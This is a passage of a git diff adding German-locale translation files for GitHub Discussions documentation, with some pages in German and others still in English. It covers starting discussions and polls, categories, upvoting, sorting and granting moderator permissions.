+Weitere Informationen zum Erstellen eines Auftrags findest du unter „[Erstellen einer Umfrage](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion#creating-a-poll)“.
+
+## Informationen zur Organisation von Diskussionen
+
+Du kannst Diskussionen anhand von Kategorien und Bezeichnungen organisieren.
+
+{% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %}
+
+Für Diskussionen mit einem Frage/Antwort-Format kann ein einzelner Kommentar innerhalb der Diskussion als Antwort gekennzeichnet werden. {% data reusables.discussions.github-recognizes-members %}
+
+{% data reusables.discussions.about-announcement-format %}
+
+Weitere Informationen findest du unter „[Verwalten von Kategorien für Diskussionen](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions)“.
+
+{% data reusables.discussions.you-can-label-discussions %}
+
+## Bewährte Methoden für {% data variables.product.prodname_discussions %}
+
+Als Communitymitglied oder -maintainer startest du eine Diskussion, um eine Frage zu stellen oder Informationen zu erörtern, die sich auf die Community auswirken. Weitere Informationen findest du unter „[Zusammenarbeiten mit Maintainern mithilfe von Diskussionen](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)“.
+
+Nimm an einer Diskussion teil, um Fragen zu stellen und zu beantworten, Feedback zu geben und mit der Community des Projekts ins Gespräch zu kommen. Weitere Informationen findest du unter „[Teilnehmen an einer Diskussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)“.
+
+Du kannst Diskussionen hervorheben, die wichtige, nützliche oder beispielhafte Unterhaltungen zwischen Mitgliedern in der Community enthalten. Weitere Informationen findest du unter „[Verwalten von Diskussionen](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion)“.
+
+{% data reusables.discussions.you-can-convert-an-issue %} Weitere Informationen findest du unter „[Moderieren von Diskussionen](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)“.
+
+## Feedback teilen
+
+Du kannst dein Feedback zu {% data variables.product.prodname_discussions %} mit {% data variables.product.company_short %} teilen. Zur Teilnahme an der Unterhaltung siehe [{% data variables.product.prodname_github_community %}](https://github.com/orgs/community/discussions/categories/discussions).
+
+## Weiterführende Themen
+
+- „[Informationen zum Schreiben und Formatieren auf {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)“
+- „[Durchsuchen von Diskussionen](/search-github/searching-on-github/searching-discussions)“
+- „[Informationen zu Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/about-notifications)“
+- [Moderieren von Kommentaren und Unterhaltungen](/communities/moderating-comments-and-conversations){% ifversion fpt or ghec %}
+- [Aufrechterhalten der Sicherheit auf {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github) {% endif %}
diff --git a/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md
new file mode 100644
index 0000000000..00f75ff588
--- /dev/null
+++ b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md
@@ -0,0 +1,89 @@
+---
+title: Collaborating with maintainers using discussions
+shortTitle: Collaborating with maintainers
+intro: 'You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion.'
+permissions: 'People with read access to a repository can start and participate in discussions and polls in the repository. People with read access to the source repository for organization discussions can start and participate in discussions and polls in the organization. {% data reusables.enterprise-accounts.emu-permission-interact %}'
+versions:
+  feature: discussions
+---
+
+
+## About collaboration with maintainers using {% data variables.product.prodname_discussions %}
+
+{% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+
+{% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.about-announcement-format %} 
+
+Repository administrators and project maintainers can delete a discussion in that repository. Similarly, administrators and maintainers of the source repository for an organization's discussions can delete a discussion in that organization. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion)."
+
+{% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"
+
+![Most helpful contributors to discussions for a project](/assets/images/help/discussions/most-helpful.png)
+
+Community members can upvote discussions and top-level comments inside discussions to communicate with maintainers about ideas that matter to them. Project maintainers can then sort discussions and comments based on upvotes to gain insight into what community members value.
+
+For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)."
+
+## Prerequisites
+
+To collaborate with maintainers in repository discussions, a repository administrator or project maintainer must enable {% data variables.product.prodname_discussions %} for the repository. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)."
+
+To collaborate with maintainers in organization discussions, {% data variables.product.prodname_discussions %} must be enabled for the organization. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)."
+
+## Starting a discussion
+
+{% data reusables.discussions.starting-a-discussion %}
+
+## Starting a poll
+
+{% data reusables.discussions.starting-a-poll %}
+
+## Filtering the list of discussions
+
+You can search for discussions and filter the list of discussions in a repository or organization. For more information, see "[Searching discussions](/search-github/searching-on-github/searching-discussions)."
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.
+  ![Search bar and buttons for filtering discussions](/assets/images/help/discussions/search-and-filter-controls.png)
+1. In the list of discussions, click the discussion you want to view.
+  ![Discussion search results](/assets/images/help/discussions/search-result.png)
+
+## Sorting the list of discussions
+
+You can choose how to sort the list of discussions.
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+1. To the right of the **Search all discussions** field, select **New**, or select **Top** and choose a time period from the drop down menu.
+
+   ![Buttons for sorting discussions](/assets/images/help/discussions/sort-discussions-buttons.png)
+
+    - Sort by **New** to display the discussions with the most recent activity at the top of the list.
+    - Sort by **Top** to display the discussions with the most upvotes at the top of the list. You can limit the list to only display discussions from a specific time period.
+
+## Sorting top-level comments in discussions
+
+You can choose how to sort top-level comments in discussions. Comment threads do not impact the order comments are sorted in.
+
+{% data reusables.discussions.navigate-to-repo-or-org %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. Under the main discussion post, select **Oldest**, **Newest**, or **Top**.
+
+   ![Buttons for sorting comments in discussions](/assets/images/help/discussions/sort-comments-buttons.png)
+
+    - Sort by **Oldest** to display the oldest top-level comments first.
+    - Sort by **Newest** to display the newest top-level comments first.
+    - Sort by **Top** to display the most upvoted top-level comments first.
+
+## Converting an issue to a discussion
+
+{% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)."
+
+## Further reading
+
+- "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)"
+{%- ifversion fpt or ghec %}
+- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)"
+{%- endif %}
diff --git a/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/index.md b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/index.md
new file mode 100644
index 0000000000..29d215446a
--- /dev/null
+++ b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/index.md
@@ -0,0 +1,18 @@
+---
+title: Zusammenarbeit mit deiner Community mittels Diskussionen
+shortTitle: Collaborating using discussions
+intro: Organisiere und diskutiere dein Projekt mit Mitgliedern der Community und anderen Maintainern.
+versions:
+  feature: discussions
+children:
+  - /about-discussions
+  - /participating-in-a-discussion
+  - /collaborating-with-maintainers-using-discussions
+ms.openlocfilehash: 351598fbad61af6c58fdda091a2bd56b32bfc6b2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410243'
+---
+
diff --git a/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md
new file mode 100644
index 0000000000..ccfd537fc0
--- /dev/null
+++ b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md
@@ -0,0 +1,66 @@
+---
+title: Participating in a discussion
+intro: 'You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}.'
+permissions: 'People with read access to a repository can participate in discussions and polls in the repository. People with read access to the source repository for organization discussions can participate in discussions and polls in that organization. {% data reusables.enterprise-accounts.emu-permission-interact %}'
+versions:
+  feature: discussions
+shortTitle: Participate in discussion
+---
+
+
+## About participation in a discussion
+
+{% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+
+In addition to starting or viewing discussions and polls, you can:
+
+- Comment in response to the original comment from the author of the discussion
+- Create a comment thread by replying to an individual comment that another community member made within the discussion
+- React to comments with emoji
+- Upvote discussions and top-level comments to give them more visibility
+
+{% ifversion fpt or ghec %}You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)."{% endif %}
+
+## Prerequisites
+
+{% data variables.product.prodname_discussions %} must be enabled for the repository or organization for you to participate in a discussion in the repository or organization. For more information, see "[Enabling or disabling {% data variables.product.prodname_discussions %} for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)" and "[Enabling or disabling GitHub Discussions for an organization](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization)."
+
+## Creating a discussion
+
+{% data reusables.discussions.starting-a-discussion %}
+
+## Creating a poll
+
+{% data reusables.discussions.starting-a-poll %}
+
+## Marking a comment as an answer
+
+Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository.
+Similarly, discussion authors and users with the triage role or greater for the source repository for organization discussions can mark a comment as the answer to a discussion in the organization.
+
+{% data reusables.discussions.marking-a-comment-as-an-answer %}
+
+## Upvoting a discussion
+
+You can upvote discussions to give more visibility to the topics that matter to you, and sort discussions to see which have been upvoted the most. For more information on sorting discussions, see "[Sorting the list of discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-the-list-of-discussions)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.discussions.discussions-tab %}
+1. In the list of discussions, find the discussion you want to upvote.
+1. To the left of the discussion, click the upvote arrow.
+
+   ![Discussion list and upvote button for upvoting discussions](/assets/images/help/discussions/upvote-discussion-button.png)
+1. Optionally, click the upvote arrow again to remove your upvote.
+
+## Upvoting a comment
+
+You can upvote top-level comments in discussions, and sort top-level comments to see which comments have been upvoted the most. For more information on sorting comments, see "[Sorting top-level comments in discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions#sorting-top-level-comments-in-discussions)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.click-discussion-in-list %}
+1. In the discussion, find a top-level comment you want to upvote. 
+1. Click on the upvote arrow at the bottom left of the comment.
+
+   ![Top-level comment and upvote button for upvoting comments](/assets/images/help/discussions/upvote-comment-button.png)
+1. Optionally, click the upvote arrow again to remove your upvote.
diff --git a/translations/de-DE/content/discussions/guides/best-practices-for-community-conversations-on-github.md b/translations/de-DE/content/discussions/guides/best-practices-for-community-conversations-on-github.md
new file mode 100644
index 0000000000..0b36f21066
--- /dev/null
+++ b/translations/de-DE/content/discussions/guides/best-practices-for-community-conversations-on-github.md
@@ -0,0 +1,53 @@
+---
+title: Bewährte Methoden für Communityunterhaltungen auf GitHub
+shortTitle: Best practices for community conversations
+intro: 'Du kannst Diskussionen zum Brainstorming mit deinem Team nutzen und die Konversation schließlich in ein Issue verschieben, wenn du bereit bist, die Arbeit gründlich zu betrachten.'
+versions:
+  feature: discussions
+ms.openlocfilehash: daa7dd67a1e760f51493ddbfba336725451a91d4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410227'
+---
+## Communityunterhaltungen in {% data variables.product.prodname_discussions %}
+
+Da {% data variables.product.prodname_discussions %} ein offenes Forum ist, besteht die Möglichkeit, nicht auf Code ausgerichtete Zusammenarbeit in das Repository oder die Organisation eines Projekts einzubringen und so schneller vielfältiges Feedback und Ideen zu sammeln. Du kannst eine produktive Unterhaltung auf verschiedene Arten fördern.
+
+- Stelle gezielte Fragen und Folgefragen, um Feedback zu bestimmten Themen zu erhalten.
+- Erfasse einen breiten Sachverhalt, und verdichte ihn auf die wichtigsten Punkte.
+- Öffne ein Issue, um auf der Grundlage der Unterhaltung Maßnahmen zu ergreifen, falls möglich.
+
+Weitere Informationen zum Öffnen eines Issues und zum Verweisen auf eine Diskussion findest du unter [Öffnen eines Issues aus einem Kommentar](/github/managing-your-work-on-github/opening-an-issue-from-a-comment).
+
+## Informationen zu Unterhaltungen auf GitHub
+
+Je nach Art der gewünschten Unterhaltung kannst du Diskussionen, Issues und Pull Requests erstellen und daran teilnehmen.
+
+Du kannst in {% data variables.product.prodname_discussions %} allgemeine Überlegungen anstellen, ein Brainstorming durchführen und die spezifischen Details eines Projekts ausarbeiten, ehe du es zu einem Issue machst, das dann eingeteilt werden kann. {% data variables.product.prodname_discussions %} ist für Teams in einer Reihe von Szenarios hilfreich.
+- Du befindest dich in der Findungsphase eines Projekts und überlegst noch, welchen Ansatz das Team verfolgen soll.
+- Du möchtest aus der gesamten Community Feedback zu einem Projekt erhalten.
+- Du möchtest Fehlerkorrekturen, Featureanforderungen und allgemeine Unterhaltungen getrennt halten.
+- Du möchtest das Interesse an neuen Ideen messen und die Meinung der Community in Umfragen ermitteln.
+
+Mittels Repositorydiskussionen kannst du Themen erörtern, die für das Repository spezifisch sind. Wenn dein Projekt mehrere Repositorys umfasst, kannst du mittels Organisationsdiskussionen Themen erörtern, die nicht für einzelne Repositorys in deiner Organisation spezifisch sind.
+
+Issues sind nützlich bei der Diskussion spezifischer Details eines Projekts, beispielsweise Fehlerberichte und geplante Verbesserungen. Weitere Informationen findest du unter [Informationen zu Issues](/articles/about-issues). Mit Pull Requests kannst du Änderungsvorschläge direkt kommentieren. Weitere Informationen findest du unter [Informationen zu Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) und [Kommentieren eines Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request).
+
+## Befolgen von Beitragsrichtlinien
+
+Ehe du eine Diskussion in einem Repository eröffnest, überprüfe, ob das Repository Leitlinien für das Mitwirken aufweist. Die CONTRIBUTING-Datei enthält Informationen darüber, wie der*die Besitzer*in möchte, dass du Ideen zum Projekt beiträgst.
+
+Weitere Informationen findest du unter [Einrichten deines Projekts für hilfreiche Beiträge](/communities/setting-up-your-project-for-healthy-contributions).
+
+## Nächste Schritte
+
+Weitere Informationen zu {% data variables.product.prodname_discussions %} und dem schnellen Öffnen einer Diskussion für deine Community findest du unter [Schnellstart für {% data variables.product.prodname_discussions %}](/discussions/quickstart).
+
+## Weiterführende Themen
+
+- [Einrichten deines Projekts für hilfreiche Beiträge](/communities/setting-up-your-project-for-healthy-contributions)
+- [Verwenden von Vorlagen zur Förderung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)
+- [Moderieren von Kommentaren und Unterhaltungen](/communities/moderating-comments-and-conversations)
+- [Schreiben auf {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)
diff --git a/translations/de-DE/content/discussions/guides/finding-your-discussions.md b/translations/de-DE/content/discussions/guides/finding-your-discussions.md
new file mode 100644
index 0000000000..5cf3819504
--- /dev/null
+++ b/translations/de-DE/content/discussions/guides/finding-your-discussions.md
@@ -0,0 +1,22 @@
+---
+title: Finding your discussions
+intro: You can easily access every discussion you've created or participated in.
+versions:
+  feature: discussions
+shortTitle: Find discussions
+redirect_from:
+  - /discussions/guides/finding-discussions-across-multiple-repositories
+---
+
+
+## Finding discussions
+
+1. In the top-right corner of {% data variables.location.product_location %}, click your profile photo, then click **Your discussions**.
+  !["Your discussions" in drop-down menu for profile photo on {% data variables.product.product_name %}](/assets/images/help/discussions/your-discussions.png)
+1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in.
+
+## Further reading
+
+- "[Searching discussions](/search-github/searching-on-github/searching-discussions)"
+- "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)"
+- "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)"
diff --git a/translations/de-DE/content/discussions/guides/granting-higher-permissions-to-top-contributors.md b/translations/de-DE/content/discussions/guides/granting-higher-permissions-to-top-contributors.md
new file mode 100644
index 0000000000..53400a2023
--- /dev/null
+++ b/translations/de-DE/content/discussions/guides/granting-higher-permissions-to-top-contributors.md
@@ -0,0 +1,36 @@
+---
+title: Gewähren höherer Berechtigungen für engagierte Mitwirkende
+intro: Administratoren von Repositorys können jedes Mitglied der Community zum Moderator und Maintainer höher stufen.
+versions:
+  feature: discussions
+shortTitle: Grant higher permissions
+ms.openlocfilehash: d672b11df4c984ad0ba272756d1a8a1b713eff78
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147409603'
+---
+## Einführung
+
+Die engagiertesten Mitwirkenden der letzten 30 Tage werden auf dem {% data variables.product.prodname_discussions %}-Dashboard basierend auf der Anzahl der Kommentare hervorgehoben, die von anderen Communitymitgliedern als Antworten markiert wurden. Engagierte Mitwirkende können zum Wohl der Community beitragen und zusätzlich zu deren Betreuern anleiten und moderieren.
+
+## Schritt 1: Überwache deine engagiertesten Mitwirkenden in {% data variables.product.prodname_discussions %}
+
+{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %}
+1. Vergleiche die Liste der Mitwirkenden mit ihren Zugriffsberechtigungen für das Repository bzw. bei Organisationsdiskussionen für das Quellrepository, um festzustellen, wer für die Moderation der Diskussion in Frage kommt.
+  ![Screenshot der hilfreichsten Mitwirkenden](/assets/images/help/discussions/most-helpful.png)
+
+## Schritt 2: Überprüfe Berechtigungsstufen für {% data variables.product.prodname_discussions %}
+
+Personen mit Selektierungsberechtigungen für ein Repository können Diskussionen im Repository moderieren, indem sie Kommentare als Antworten markieren, Diskussionen sperren, die nicht mehr von Nutzen sind oder der Community schaden, und Issues in Diskussionen konvertieren, wenn sich eine Idee noch in einem frühen Entwicklungsstadium befindet. Ebenso können Personen mit Selektierungsberechtigungen für das Quellrepository für Organisationsdiskussionen die Diskussionen der Organisation moderieren. Weitere Informationen findest du unter [Moderieren von Diskussionen](/discussions/managing-discussions-for-your-community/moderating-discussions).
+
+Weitere Informationen zu Repositoryberechtigungsstufen und {% data variables.product.prodname_discussions %} findest du unter [Repositoryberechtigungsstufen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization).
+
+## Schritt 3: Ändern von Berechtigungsstufen für engagierte Mitwirkende
+
+Du kannst die Berechtigungsstufen Mitwirkender ändern, um ihnen mehr Zugriff auf die Tools zu gewähren, die sie benötigen, um GitHub-Diskussionen zu moderieren. Informationen zum Ändern der Berechtigungsstufen einer Person oder eines Teams findest du unter [Verwalten von Teams und Personen mit Zugriff auf dein Repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository).
+
+## Schritt 4: Informiere Communitymitglieder über erhöhten Zugriff
+
+Wenn du eine Berechtigungsstufe für Mitwirkende änderst, erhalten sie eine Benachrichtigung über die Änderung.
diff --git a/translations/de-DE/content/discussions/guides/index.md b/translations/de-DE/content/discussions/guides/index.md
new file mode 100644
index 0000000000..49be61f42e
--- /dev/null
+++ b/translations/de-DE/content/discussions/guides/index.md
@@ -0,0 +1,18 @@
+---
+title: Diskussionsleitlinien
+shortTitle: Guides
+intro: 'Entdecke Wege für den Einstieg, oder erlerne bewährte Methoden, um an den Diskussionen in deiner Community teilzunehmen oder sie zu überwachen.'
+versions:
+  feature: discussions
+children:
+  - /best-practices-for-community-conversations-on-github
+  - /finding-your-discussions
+  - /granting-higher-permissions-to-top-contributors
+ms.openlocfilehash: 771770d2e67d21fc180f400685faf5c9a436cf68
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410043'
+---
+
diff --git a/translations/de-DE/content/discussions/index.md b/translations/de-DE/content/discussions/index.md
new file mode 100644
index 0000000000..c5b62e45f8
--- /dev/null
+++ b/translations/de-DE/content/discussions/index.md
@@ -0,0 +1,46 @@
+---
+title: Dokumentation zu GitHub-Diskussionen
+shortTitle: GitHub Discussions
+intro: '{% data variables.product.prodname_discussions %} ist ein Forum für die Zusammenarbeit mit der Community rund um ein{% ifversion fpt or ghec %}Open-Source- oder{% endif %} internes Projekt. Mitglieder der Community können Fragen stellen und beantworten, Aktualisierungen teilen, ergebnisoffene Unterhaltungen führen und Entscheidungen mitverfolgen, die die Arbeitsweise der Community betreffen.'
+introLinks:
+  quickstart: /discussions/quickstart
+featuredLinks:
+  guides:
+    - /discussions/collaborating-with-your-community-using-discussions/about-discussions
+    - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion
+    - /discussions/managing-discussions-for-your-community/moderating-discussions
+  gettingStarted:
+    - /discussions/quickstart
+  guideCards:
+    - /discussions/collaborating-with-your-community-using-discussions/about-discussions
+    - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion
+    - /discussions/managing-discussions-for-your-community/moderating-discussions
+  popular:
+    - /discussions/guides/granting-higher-permissions-to-top-contributors
+    - /discussions/guides/best-practices-for-community-conversations-on-github
+    - /discussions/guides/finding-your-discussions
+    - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions
+    - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions
+changelog:
+  label: discussions
+examples_source: data/product-examples/discussions/community-examples.yml
+product_video: 'https://www.youtube-nocookie.com/embed/IpBw2SJkFyk'
+layout: product-landing
+versions:
+  feature: discussions
+communityRedirect:
+  name: Provide GitHub Feedback
+  href: 'https://github.com/orgs/community/discussions/categories/discussions'
+children:
+  - /quickstart
+  - /guides
+  - /collaborating-with-your-community-using-discussions
+  - /managing-discussions-for-your-community
+ms.openlocfilehash: a91dbef4ac8c511cc6b94b7ab412a16772f7db33
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147433404'
+---
+
diff --git a/translations/de-DE/content/discussions/managing-discussions-for-your-community/index.md b/translations/de-DE/content/discussions/managing-discussions-for-your-community/index.md
new file mode 100644
index 0000000000..8d77643658
--- /dev/null
+++ b/translations/de-DE/content/discussions/managing-discussions-for-your-community/index.md
@@ -0,0 +1,19 @@
+---
+title: Verwalten von Diskussionen für deine Community
+shortTitle: Managing discussions
+intro: 'Du kannst {% data variables.product.prodname_discussions %} für dein Repository aktivieren und konfigurieren und mit Tools auf {% data variables.product.product_name %} Unterhaltungen unter Communitymitgliedern moderieren.'
+versions:
+  feature: discussions
+children:
+  - /managing-discussions
+  - /managing-categories-for-discussions
+  - /moderating-discussions
+  - /viewing-insights-for-your-discussions
+ms.openlocfilehash: 156460ecfbb27820f11ccad388ceaff069f835b1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410299'
+---
+
diff --git a/translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md b/translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md
new file mode 100644
index 0000000000..bd69c78cb1
--- /dev/null
+++ b/translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md
@@ -0,0 +1,68 @@
+---
+title: Managing categories for discussions
+intro: 'You can categorize discussions to organize conversations for your community members, and you can choose a format for each category.'
+permissions: Repository administrators and people with write or greater access to a repository can manage categories for discussions in the repository. Repository administrators and people with write or greater access to the source repository for organization discussions can manage categories for discussions in the organization.
+versions:
+  feature: discussions
+shortTitle: Manage categories
+redirect_from:
+  - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository
+---
+
+
+## About categories for discussions
+
+{% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %}
+
+{% data reusables.discussions.about-announcement-format %}
+
+Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations. {% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."
+
+## Default categories
+
+| Category | Purpose | Format |
+| :- | :- | :- |
+| 📣 Announcements | Updates and news from project maintainers | Announcement |
+| #️⃣ General | Anything and everything relevant to the project | Open-ended discussion |
+|💡 Ideas | Ideas to change or improve the project | Open-ended discussion |
+| 🗳 Polls | Polls with multiple options for the community to vote for and discuss | Polls |
+| 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer |
+| 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion |
+
+## Creating a category
+
+1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to create a category.
+{% data reusables.discussions.discussions-tab %}
+{% data reusables.discussions.edit-categories %}
+1. Click **New category**.
+  !["New category" button above list of discussion categories for a repository](/assets/images/help/discussions/click-new-category-button.png)
+1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."
+  ![Emoji, title, description, and discussion format for new category](/assets/images/help/discussions/edit-category-details.png)
+1. Click **Create**.
+  !["Create" button for new category](/assets/images/help/discussions/new-category-click-create-button.png)
+
+## Editing a category
+
+You can edit a category to change the category's emoji, title, description, and discussion format.
+
+1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to edit a category.
+{% data reusables.discussions.discussions-tab %}
+1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.
+  ![Edit button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-edit-for-category.png)
+1. {% data reusables.discussions.edit-category-details %}
+  ![Editing emoji, title, description, and discussion format for existing category](/assets/images/help/discussions/edit-existing-category-details.png)
+1. Click **Save changes**.
+  !["Save changes" button for existing category](/assets/images/help/discussions/existing-category-click-save-changes-button.png)
+
+## Deleting a category
+
+When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose.
+
+1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to delete a category.
+{% data reusables.discussions.discussions-tab %}
+1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.
+  ![Trash button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-delete-for-category.png)
+1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.
+  ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/choose-new-category.png)
+1. Click **Delete & Move**.
+  ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/click-delete-and-move-button.png)
diff --git a/translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-discussions.md b/translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-discussions.md
new file mode 100644
index 0000000000..302f14adae
--- /dev/null
+++ b/translations/de-DE/content/discussions/managing-discussions-for-your-community/managing-discussions.md
@@ -0,0 +1,215 @@
+---
+title: Managing discussions
+intro: 'You can categorize, spotlight, transfer, or delete the discussions.'
+permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. Repository administrators and people with write or greater access to the source repository for organization discussions can manage discussions in the organization.
+versions:
+  feature: discussions
+shortTitle: Manage discussions
+redirect_from:
+  - /discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository
+---
+
+
+## About management of discussions
+
+{% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."
+
+Organization owners can choose the permissions required to create a discussion in repositories owned by the organization. Similarly, to choose the permissions required to create an organization discussion, organization owners can change the permissions required in the source repository. For more information, see "[Managing discussion creation for repositories in your organization](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization)."
+
